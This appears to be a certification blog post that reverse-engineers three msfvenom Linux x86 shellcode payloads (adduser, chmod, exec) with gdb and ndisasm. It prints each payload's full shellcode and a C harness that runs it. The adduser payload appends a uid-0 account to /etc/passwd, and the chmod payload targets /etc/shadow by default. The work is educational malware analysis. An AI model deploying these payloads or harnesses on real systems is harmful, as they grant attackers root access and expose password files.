ASM Shellcode analysis (SLAE x86 Assignment #5)

Introduction

This is assignment #5 of the SLAE x86 Exam objectives.

Objectives

  • Take up at least 3 shellcode samples created using msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

Building a task plan and prerequisites

Choosing shellcode samples

The first thing is to choose the shellcode samples for our ongoing analysis.

To get a list of the available linux/x86 payloads msfvenom suggest, the following command could be used:

msfvenom -l payloads | grep "linux/x86"
msfvenom – list of linux/x86 payloads

I’ll be choosing the adduser, chmod, and exec payloads.

Payload Analysis of linux/x86/adduser

Generating the shellcode and getting shellcode options

If we were to reverse engineer the code, the following command would be used to generate the payload:

$ msfvenom -p linux/x86/adduser -f elf -o adduser

To get the options for the linux/x86/adduser payload:

$ msfvenom -p linux/x86/adduser --payload-options
Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Example:

$ msfvenom -p linux/x86/adduser USER=newuser PASS=/etc/passwd -o adduser

Getting the shellcode disassembly

msfvenom -p linux/x86/adduser -f c -o adduser.c
cat adduser.c
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Generating the executable

Copy shellcode

$ cat adduser.c | sed '1d' #| sed 's/\"//g' | tr -d "\n|;" | xclip -selection clipboard


cat > adduser_shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80";

void main(void)
{
	printf("Shellcode Length: %d\n", strlen(shellcode));

	int(*ret)() = (int(*)())shellcode;

	ret();

}

Ctrl+D

gcc -fno-stack-protector -z execstack -o adduser_shellcode adduser_shellcode.c

Screenshot:

linux/x86/adduser – msfvenom payload

Shellcode analysis (GDB and ndisasm)

$ gdb -q ./adduser_shellcode
(gdb) disas main
(gdb) b *&shellcode
Breakpoint 1 at 0x804a040
(gdb) r
Starting program: /home/securitytube/Exam/Assignment #5/adduser_shellcode 
Shellcode Length: 40

Breakpoint 1, 0x0804a040 in shellcode ()
(gdb) disas
gdb -q ./adduser_shellcode; disas main

Disassembly of shellcode:

disassembly of *&shellcode

To get the actual assembly of the payload using an actual command however, we need to generate a payload and use ndisasm. The parameters the payload takes could be seen either by reading the source code of the module itself located at /usr/share/metasploit-framework/modules/payloads/singles/linux/x86/adduser.rb, or by running msfconsole and using the “info” command:

msf6 payload(linux/x86/adduser) > use linux/x86/adduser
msf6 payload(linux/x86/adduser) > info

It seems by default the payload adds a user “metasploit” with the same password using the /bin/sh shell.

For easier differentiating of the username and password sections I will set a different password when generating the payload:

$ msfvenom -a x86 -p linux/x86/adduser USER="metasploit" PASS="SLAE" -f raw > adduser.disasm
$ ndisasm -u adduser.disasm

As it could be noted we are getting the same system calls with ndisasm and similar disassembly as from gdb (with some differences as the password was changed on the generated payload):

gdb and ndisasm – disassembly comparison

Output from ndisasm:

00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call dword 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A72636E imul esi,[edx+edi+0x41],dword 0x6e63727a
0000003B 7A50 jpe 0x8d
0000003D 59 pop ecx
0000003E 6C insb
0000003F 667232 o16 jc 0x74
00000042 45 inc ebp
00000043 3A30 cmp dh,[eax]
00000045 3A30 cmp dh,[eax]
00000047 3A3A cmp bh,[edx]
00000049 2F das
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80

To follow the code easily, I have put in bold the code for each next syscall, meaning syscalls 1-3 will be in bold and 2-4 will be regular but still relate to a syscall.

Let’s analyze the first section in bold:

00000000 31C9 xor ecx,ecx ; zero out ecx
00000002 89CB mov ebx,ecx ; zero out ebx 
00000004 6A46 push byte +0x46 ; syscall to setreuid()
00000006 58 pop eax ; load setreuid() inoto eax
00000007 CD80 int 0x80 ; syscall

Initially, the ecx and ebx calls are zeroed providing 0 as an argument t the syscall taking place. By looking at /usr/include/i386-linux-gnu/asm/unistd_32.h where the syscall descriptions are in Ubuntu 12.04, and matching 0x46 to its decimal representation 70 we could see that this is the setreuid syscall:

push byte +0x46 – locating the setreuid() syscall

Looking at the man page for setreuid it could be noted that it takes 2 arguments:

   int setreuid(uid_t ruid, uid_t euid);
   int setregid(gid_t rgid, gid_t egid);

To add a new user, the payload tries to set its efective user and group ID to 0, which seems logical as the user would need privileged permissions. If we were to manually disassemble the code and reverse it, so far we have the following line:

setreuid(0, 0);

Let’s analyze the next codeblock up to the next syscall interrupt:

00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80

Initially a push byte +0x5 instruction is set, then pop whatever is on the top of the stack and store it in eax (pop eax). Using the same approach we could note that 0x5 equals 5 in decimal, which is the open() syscall:

push byte +0x5 is the open() syscall

On the next stage the ecx register is zeroed out and pushed on the top of the stack, which suggests the second argument to open. Below is the prototype for the open() syscall:

$ man 2 open
int open(const char *pathname, int flags);

As just the ecx and ebx register are used, this suggests the program is called with 2 arguments. The next 3 lines show the actual path the syscall calls open() with as the first argument:

0000000F 6873737764 push dword 0x64777373 ; sswd
00000014 682F2F7061 push dword 0x61702f2f ; //pa
00000019 682F657463 push dword 0x6374652f ; /etc

To get the values for the path the xxd or printf could be used:

xxd:

securitytube@ubuntu:~$ echo -n 0x73737764 | xxd -r; echo
sswd
securitytube@ubuntu:~$ echo -n 0x2f2f7061 | xxd -r; echo
//pa
securitytube@ubuntu:~$ echo -n 0x2f657463 | xxd -r; echo
/etc

printf:

printf '%b' '\x73\x73\x77\x64'; echo
sswd
printf '%b' '\x2f\x2f\x70\x61'; echo
//pa
printf '%b' '\x63\x74\x65\x2f' | rev; echo
/etc

And remembering this is a Little Endian , due to endianess this is the string /etc//passwd. The mov ebx,esp afterwards stores the value /etc//passwd pushed into the stack into the ebx register for the open() syscall as a first argument. The instructions following are inc ecx and mov ch,0x4. As ecx was zeroed out earlier, using the inc instruction increments it by 1, resulting in the second argument to open() to be 1, meaning it will set the O_WRONLY flag. I will not go over the details on this but in general it sets the lower bit of the ECX (Extended Count Register), (AL) to 00000001.

The mov ch,0x4 instruction seems to be setting the mode for the file on the open() syscall to O_APPEND. This means that the first bits of ch will be changed to 00000100, and as ecx already has value stored in it this will result in 00002000 . The exact mechanism on how this happens is out of scope of this article, but the reference values could be found in /usr/include/asm-generic/fcntl.h – in this case O_APPEND

/usr/include/asm-generic/fcntl.h00002000 or O_APPEND

The int 0x80 makes the actual syscall to open() with the defined call parameters.

At this point we could recover the next piece of the code, which is open(“/etc//passwd”, O_WRONLY | O_APPEND);

Let’s go to the next section. For ease of following the code, I usually keep a file editor on top of my desktop on the right part of the screen following the current instruction codeset:

keeping the current codeblock attached on the right of the desktop

This makes it easier to dissect and follow each of the codeblocks while reviewing the syscalls and typing on the console.

The xchg eax,ebx exchanges the values between the eax and the ebx register. At this point, the file descriptor returned by the open() syscall will be stored in the ebx register.

The call dword 0x53 will push the return address of the instruction after the call instruction itself on the stack, and redirect the execution flow on the EIP register to the address at 0x53.

At this point I had to use gdb to debug the exact instruction set at 0x53, as this part was missing from ndisasm:

$ gdb -r ./adduser_shellcode
(gdb) break *&shellcode
Breakpoint 1 at 0x804a040
(gdb) r
Starting program: /home/securitytube/Exam/Assignment #5/adduser_shellcode 
Shellcode Length: 40

Breakpoint 1, 0x0804a040 in shellcode ()
(gdb) disas
Dump of assembler code for function shellcode:
=> 0x0804a040 <+0>:	xor    ecx,ecx
   0x0804a042 <+2>:	mov    ebx,ecx
   0x0804a044 <+4>:	push   0x46
   0x0804a046 <+6>:	pop    eax
...
   0x0804a066 <+38>:	call   0x804a093 <shellcode+83>
   0x0804a06b <+43>:	ins    DWORD PTR es:[edi],dx
...
x/12i 0x804a093
   0x804a093 <shellcode+83>:	pop    ecx
   0x804a094 <shellcode+84>:	mov    edx,DWORD PTR [ecx-0x4]
   0x804a097 <shellcode+87>:	push   0x4
   0x804a099 <shellcode+89>:	pop    eax
   0x804a09a <shellcode+90>:	int    0x80
   0x804a09c <shellcode+92>:	push   0x1
   0x804a09e <shellcode+94>:	pop    eax
   0x804a09f <shellcode+95>:	int    0x80
   0x804a0a1 <shellcode+97>:	add    BYTE PTR [eax],al

Putting a breakpoint at 0x0804a066 and stepping into the next instruction shows the string to be added to /etc/passwd:

(gdb) b *0x0804a066
Breakpoint 2 at 0x804a066
(gdb) c
Continuing.
Breakpoint 2, 0x0804a066 in shellcode ()
(gdb) stepi
0x0804a093 in shellcode ()
(gdb) disas
(gdb) x/s $esp
0xbffff2b8: "k\240\004\b/etc//passwd"
(gdb) p/x $esp
$1 = 0xbffff2b8
(gdb) p/s *0xbffff2b8
$2 = 134520939
(gdb) x/s 134520939
0x804a06b : "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"

or, the same could be referenced directly using the address on the calling function:

(gdb) x/s 0x804a06b
0x804a06b : "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"

Following the code logic and comparing the disassembly between the output of gdb and ndisasm shows that the code redirection flow to 0x53 is the codeblock between the 6D insd and or bl,[ecx-0x75] instructions:

0000002B – 00000052

Converting the opcodes of this section to ASCII would convert to the actual string of the payload which is to be added to the /etc/passwd file:

$ cat > opcodes.txt
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A72636E imul esi,[edx+edi+0x41],dword 0x6e63727a
0000003B 7A50 jpe 0x8d
0000003D 59 pop ecx
0000003E 6C insb
0000003F 667232 o16 jc 0x74
00000042 45 inc ebp
00000043 3A30 cmp dh,[eax]
00000045 3A30 cmp dh,[eax]
00000047 3A3A cmp bh,[edx]
00000049 2F das
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]

<CTRL+D>
$ printf '%b' $(cat opcodes.txt | cut -d ' ' -f2 | tr -d "\n" | sed 's/.{2}/\x&/g')
metasploit:AzrcnzPYlfr2E:0:0::/:/bin/sh

Let’s get back at the gdb shellcode disassembly:

(gdb) b *0x0804a066
Breakpoint 2 at 0x804a066
(gdb) c
Continuing.

Breakpoint 2, 0x0804a066 in shellcode ()
(gdb) si
0x0804a093 in shellcode ()
(gdb) disas

The info registers command shows that EPI points to <shellcode+83>:

(gdb) i r
eax            0xbffff2bc	-1073745220
ecx            0x401	1025
edx            0x0	0
ebx            0xfffffff3	-13
esp            0xbffff2b8	0xbffff2b8
ebp            0xbffff308	0xbffff308
esi            0x0	0
edi            0x804a069	134520937
eip            0x804a093	0x804a093 <shellcode+83>
eflags         0x202	[ IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

And the x/i command shows the next instruction to be executed, along with the current instruction set at this address:

(gdb) x/12i 0x804a093
=> 0x804a093 <shellcode+83>:	pop    ecx ; metasploit:AzrcnzPYlfr2E:0:0::/:/bin/sh
   0x804a094 <shellcode+84>:	mov    edx,DWORD PTR [ecx-0x4] ; size of ecx
   0x804a097 <shellcode+87>:	push   0x4 ; write syscall
   0x804a099 <shellcode+89>:	pop    eax ; 0x4 into eax
   0x804a09a <shellcode+90>:	int    0x80 ; write syscall
   0x804a09c <shellcode+92>:	push   0x1
   0x804a09e <shellcode+94>:	pop    eax
   0x804a09f <shellcode+95>:	int    0x80
   0x804a0a1 <shellcode+97>:	add    BYTE PTR [eax],al

Getting back to the syscall table, this is a syscall to 0x4 which is the write() syscall:

$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 4$
#define __NR_write		  4

Please note that the write syscall may be confused with the write utility which just takes 1 parameter and an optional tty:

write utility – write a message to another user

The actual write syscall is checked with the following command:

man 2 write
man 2 write – write syscall

Gettig back to the disassembly code, the pop ecx instruction gets the value stored on the top of the stack earlier, which is the actual string to be added to /etc/passwd. It will be provided as the second parameter to the write syscall. The ebx register will provide the file descriptor stored earlier in ebx, which would serve as the first parameter to the syscall. The mov edx,DWORD PTR [ecx-0x4] instruction would serve as the count off bytes pointed to the file descriptor to write, which would be the ecx register decremented by 4, which would be the third parameter.

Reversing the code logic assembly would contain the following code:

write(4, "metasploit:AzrcnzPYlfr2E:0:0::/:/bin/sh", 40); 

The length of 40 is formed from the payload string along with newline terminator at the end, as the gdb output shows that the payload is terminated by a newline string:

gdb on msfvenom linux/x86/adduser – the payload to be added to /etc/passwd

Based on the above analysis the application could be recovered to the following program code:

setreuid(0, 0);
open("/etc//passwd", O_WRONLY | O_APPEND);
write(4, "metasploit:AzrcnzPYlfr2E:0:0::/:/bin/sh", 40); 
exit(0); // push byte +0x1; pop eax; int 0x80

And a simple program in C adding a user to /etc/passwd would look as following:

$ cat adduser.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
   FILE *fd;
   /* metasploit : SLAE */
   char * str = "metasploit:AzrcnzPYlfr2E:0:0::/:/bin/sh\n";
   fd = fopen("/etc/passwd","a");

   /* may also use fprintf(fd, "%s\n", str); */
   fwrite(str, strlen(str), 1, fd); 
   fclose(fd); 
   
   return 0;
}

This completes the shellcode analysis of the linux/x86/adduser payload.

The steps for the next payloads are analogical to the payload analysis of the linux/x86/adduser payload, so the details for the next payloads will be a bit more concise.

Payload Analysis of linux/x86/chmod

Generating the shellcode and getting shellcode options

If we were to reverse engineer the code, the following command would be used to generate the payload:

$ msfvenom -p linux/x86/chmod -f elf -o chmod

To get the options for the linux/x86/chmod payload:

$ msfvenom -p linux/x86/chmod --payload-options
Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Example:

$ msfvenom -p linux/x86/chmod -f elf FILE=/etc/passwd MODE=0777 -o chmod

Getting the shellcode disassembly

touch /tmp/f && \msfvenom -p linux/x86/chmod FILE=/tmp/f -f c -o chmod.c 
cat chmod.c 
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x07\x00\x00\x00\x2f\x74\x6d\x70\x2f"
"\x66\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd"
"\x80";

Generating the executable

Copy shellcode

$ cat chmod.c | sed '1d' | sed 's/\"//g' | tr -d "\n|;" | xclip -selection clipboard


cat > chmod_shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x99\x6a\x0f\x58\x52\xe8\x07\x00\x00\x00\x2f\x74\x6d\x70\x2f\x66\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80";

void main(void)
{
	// printf("Shellcode Length: %d\n", strlen(shellcode));

	int(*ret)() = (int(*)())shellcode;

	ret();

}

Ctrl+D

gcc -fno-stack-protector -z execstack -o chmod_shellcode chmod_shellcode.c

Screenshot:

linux/x86/chmod FILE:/tmp/f permissions: 0777 – msfvenom payload

Shellcode analysis (GDB and Ndisasm)

The regular way, or one of the regular ways, to convert an application stub to shellcode using the following command from commandlinefu:

$ PROGRAM="chmod_shellcode"; objdump -d ./${PROGRAM}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

However in this case, in order to keep the code clear of unnecessary instruction sets or additional CPU optimizations that might have taken place during compilation, the msfvenom payload would be generated using the f=raw option.

$ msfvenom -a x86 -p linux/x86/chmod FILE="tmp/f" -f raw > chmod.disasm
$ ndisasm -u chmod.disasm
disassembly of linux/x86/chmod

Output from ndisasm:

00000000 99 cdq ; convert word to doubleword/convert doubleword to quadword
00000001 6A0F push byte +0xf ; 15 in decimal
00000003 58 pop eax ; store 15 in eax
00000004 52 push edx ; push value of edx on the top of the stack
00000005 E806000000 call dword 0x10 ; push address of next instruction on the top of the stack
0000000A 746D jz 0x79 ; tm
0000000C 702F jo 0x3d ; p/
0000000E 66005B68 o16 add [ebx+0x68],bl ; /tmp/fh[
00000012 B601 mov dh,0x1 ; edx has been recently zeroed out, store 0x1 into dh / assign permissions
00000014 0000 add [eax],al
00000016 59 pop ecx
00000017 CD80 int 0x80
00000019 6A01 push byte +0x1
0000001B 58 pop eax
0000001C CD80 int 0x80

As it could be noted, the disassembly for this payload is relatively simple. The mysterious cdq instruction at the beginning, according to this reference, is described as following:

CDQ Convert Word to Doubleword/Convert Doubleword to Quadword

The cdq instruction also zeroes out the edx register, which is used at a later stage.

The next line pushes 15 (0xf in decimal) on the top of the stack, and then this value is stored in eax using the pop eax instruction.

Convert hex value to decimal (0xf converts to 15):

printf '%d' 0xf
15

Looking for the syscall 15 shows this is the chmod syscall:

$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 15$
define __NR_chmod 15

Let’s take a look at the chmod syscall description and parameters it takes:

man 2 chmod
chmod syscall

The chmod syscall takes 2 parameters – the first one is the path, and the second one is the mode to chmod the file to.

Continuing with the next instruction set, the value of the edx register, which was earlier zeroed out using the cdq instruction, is put on the top of the stack. The call dword 0x10 redirects the execution flow and also puts the memory address of the next instruction on the top of the stack.

The opcodes for the next instruction set actually convert to the value passed to msfvenom when creating the payload:

$ printf '%b' '\x74\x6D'; echo
tm
$ printf '%b' '\x70\x2F'; echo
p/
$ printf '%b' '\x66\x00\x5B\x68'; echo
f[h
$ echo -n 0x746D | xxd -r && echo -n 0x702F | xxd -r && echo 0x66005B68 | xxd -r; echo
tmp/f[h

As it could be noted the \x66 is followed by \x00 which actually terminates the string and the rest are most likely random memory addresses to fill the buffer memory address space at runtime. The mov dh,0x1 stores the value of 0x1 into the lower bits of the previously zeroed out edx register. or reference on the register, you may look at the instruction set diagram taken from this website:

General-Purpose Registers on x86 architecture

The add [eax], al then gets the value of al and stores it into the address of eax. The pop ecx instruction gets the value on the top of the stack and stores it into the ecx register, which is the second parameter to the chmod syscall. This is followed by the int 0x80 making the chmod syscall.

As parameters to the chmod syscall, the ebx register stores the /tmp/f string and the ecx register provides the second parameter, which is actually the value of the edx pushed earlier into the stack, and then assigned the value of 0x1 at its lower bit address dh (the actual opcode B601)

The final codeblock consisted of push byte +0x1 and pop eax is an exit syscall:

$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 1$
#define __NR_exit		  1

exit syscall

Based on the above analysis the application could be recovered to the following program code:

chmod("/tmp/f", 0777);
exit(0);

And a simple program chmodding to 0777 /tmp/f would look as following:

$ cat chmod.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
   char * f = "/tmp/f";
   long mode = 0777;

   chmod(f, mode);
   
   return 0;
}
C application – changing permissions of a file to 0777 (octal)

This completes the shellcode analysis of the linux/x86/chmod payload.

Payload Analysis of linux/x86/exec

Generating the shellcode and getting shellcode options

If we were to reverse engineer the code, the following command would be used to generate the payload:

$ msfvenom -p linux/x86/exec CMD="touch /tmp/f" -f elf -o exec

To get the options for the linux/x86/exec payload:

$ msfvenom -p linux/x86/exec --payload-options
Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Example:

$ msfvenom -p linux/x86/exec CMD="touch /tmp/f" -f elf -o exec

Getting the shellcode disassembly

msfvenom -p linux/x86/exec CMD="touch /tmp/f" -f c -o exec.c
cat exec.c
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x00\x57\x53\x89"
"\xe1\xcd\x80";

Generating the executable

Copy shellcode

$ cat exec.c | sed '1d' #| sed 's/\"//g' | tr -d "\n|;" | xclip -selection clipboard


cat > exec.c

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x00\x57\x53\x89"
"\xe1\xcd\x80";

void main(void)
{
	// printf("Shellcode Length: %d\n", strlen(shellcode));

	int(*ret)() = (int(*)())shellcode;

	ret();

}

Ctrl+D

gcc -fno-stack-protector -z execstack -o exec exec.c

Screenshot:

linux/x86/exec CMD:touch /tmp/f – msfvenom payload

Shellcode analysis (gdb and Ndisasm)

Once again, the regular way, or one of the regular ways, to convert an application stub to shellcode using the following command from commandlinefu:

$ PROGRAM="chmod_exec"; objdump -d ./${PROGRAM}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

However in this case, in order to keep the code clear of unnecessary instruction sets or additional CPU optimizations that might have taken place during compilation, the msfvenom payload would be generated using the f=raw option.

$ msfvenom -a x86 -p linux/x86/exec CMD="touch /tmp/f" -f raw > exec.disasm
$ ndisasm -u exec.disasm
disassembly of linux/x86/exec CMD=”touch /tmp/f”

Output from ndisasm:

00000000  6A0B              push byte +0xb ; 11 goes on the top of the stack
00000002  58                pop eax ; 11 goes into eax (the execve syscall)
00000003  99                cdq ; zero out edx
00000004  52                push edx ; value of edx pushed on the top of the stack
00000005  66682D63          push word 0x632d ; -c
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f ; /sh
00000010  682F62696E        push dword 0x6e69622f ; /bin
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E80D000000        call dword 0x2a
0000001D  746F              jz 0x8e ; to
0000001F  7563              jnz 0x84 ; uc
00000021  68202F746D        push dword 0x6d742f20 ; h /tm
00000026  702F              jo 0x57 ; p/
00000028  66005753          o16 add [edi+0x53],dl ; ffw
0000002C  89E1              mov ecx,esp
0000002E  CD80              int 0x80

And let’s compare the output with the disassembly at the address at the shellcode variable is located at in gdb:

$ gdb -q ./exec
Reading symbols from /home/securitytube/Exam/Assignment #5/exec...(no debugging symbols found)...done.
(gdb) b *&shellcode
Breakpoint 1 at 0x804a040
(gdb) r
Starting program: /home/securitytube/Exam/Assignment #5/exec 

Breakpoint 1, 0x0804a040 in shellcode ()
(gdb) disas
Dump of assembler code for function shellcode:
=> 0x0804a040 <+0>:	push   0xb
...
End of assembler dump.
(gdb) c
Continuing.
process 16532 is executing new program: /bin/dash
...

[Inferior 1 (process 16532) exited normally]
breakpoint at *&shellcode – linux/x86/exec CMD=”touch /tmp/f”

Let’s continue with the analysis of the instructions. The first thing that could be noted is the 0xb value pushed on the top of the stack, and then popped into eax. Let’s look at the syscall number for 0xb:

securitytube@ubuntu:~/Exam/Assignment #5$ printf '%d' 0xb; echo
11
securitytube@ubuntu:~/Exam/Assignment #5$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 11$
#define __NR_execve		 11
#define __NR_vhangup		111
#define __NR_getresgid32	211
#define __NR_set_robust_list	311
0xb is 11 in decimal – the execve syscall

And then let’s look at the execve syscall and its aprameters:

man execve
the execve syscall – int execve(const char *filename, char *const argv[],
char *const envp[]);

The cdq instruction, as explained in the previous section, zeroes out the edx register. Then the zeroed out edx register is pushed on the top of the stack via push edx, and the push word 0x632d instruction pushes the value ‘c-‘ on the top of the stack, which would be passed to the execve call as the third envp parameter:

printf '%b' '\x63\x2d'
c-

The contents of the stack pointer are then copied into the edi Destination Index register.

The push dword 0x68732f and push dword 0x6e69622f instructions afterwards is the /bin/sh string, which would serve as the first parameter to the execve call, as it’s copied over to the ebx register in the next instruction:

mov ebx,esp

So far the syscall would look as following:

execve("/bin/sh", "-c", char *const envpp[])

The contents of edx are then pushed on the top of the stack, and a call dword 0x2a instruction is in place. As this specific part was easier to dissassemble through gdb, it was noted that the address at the call instruction contains the following instruction set:

inspecting the call 0x804a06a instruction
(gdb) x/10i 0x804a06a
   0x804a06a <shellcode+42>:	push   edi
   0x804a06b <shellcode+43>:	push   ebx
   0x804a06c <shellcode+44>:	mov    ecx,esp
   0x804a06e <shellcode+46>:	int    0x80
   0x804a070 <shellcode+48>:	add    BYTE PTR [eax],al
   0x804a072:	add    BYTE PTR [eax],al
   0x804a074 <completed.6159>:	add    BYTE PTR [eax],al
   0x804a076:	add    BYTE PTR [eax],al
   0x804a078 <dtor_idx.6161>:	add    BYTE PTR [eax],al
   0x804a07a <dtor_idx.6161+2>:	add    BYTE PTR [eax],al

The instruction set at this address would copy the contents of the edi register into ecx with the CF flag, and then copy the value of the edx and edx registers to the address at esp+0x20 and esp+0x24, respectively. Then it jumps to the address 0x8049ec0, containing an additional syscall itself. The instructions after the call form the additional parameters added to the -c argument call to /bin/sh, which is the actual touch /tmp/f command:

cat > opcodes
0000001D 746F jz 0x8e ; to
0000001F 7563 jnz 0x84 ; uc
00000021 68202F746D push dword 0x6d742f20 ; h /tm
00000026 702F jo 0x57 ; p/
00000028 66005753 o16 add [edi+0x53],dl ; ffw

This could be easily reversed by converting the opcodes to their relevant strings:

for i in $(cat opcodes | cut -d ' ' -f3 | sed 's/.{2}/\x&/g'); do printf '%b' ${i}; done; echo
touch /tmp/fWS

The instructions at the end are mov ecx, esp which puts the contents on the top of the stack into ecx, forming the third parameter to the syscall. Let’s put a breakpoint at this address and check what the contents of esp are:

(gdb) b *0x0804a06c
Breakpoint 2 at 0x804a06c
(gdb) c
Continuing.

Breakpoint 2, 0x0804a06c in shellcode ()
(gdb) 
(gdb) i r
eax            0xb	11
ecx            0xbffff3c4	-1073744956
edx            0x0	0
ebx            0xbffff2fe	-1073745154
esp            0xbffff2ee	0xbffff2ee
ebp            0xbffff328	0xbffff328
esi            0x0	0
edi            0xbffff306	-1073745146
eip            0x804a06c	0x804a06c <shellcode+44>
eflags         0x282	[ SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/x $esp
0xbffff2ee:	0xfe
(gdb) x/s *0xbffff2ee
0xbffff2fe:	 "/bin/sh"
(gdb) x/4s *0xbffff2ee
0xbffff2fe:	 "/bin/sh"
0xbffff306:	 "-c"
0xbffff309:	 ""
0xbffff30a:	 ""

Based on the above analysis the application could be recovered to the following program code:

execve("/bin/sh", "-c touch /tmp/f", "/bin/sh");

And a simple program in C executing the “touch /tmp/f” command would look as following:

$ cat > exec.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
   const char *argv[] = {"/bin/sh", "-c", "touch /tmp/f"};
   execve("/bin/sh", &argv, NULL);    

   return 0;
}

CTRL+D

This completes the shellcode analysis of the linux/x86/exec payload.




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690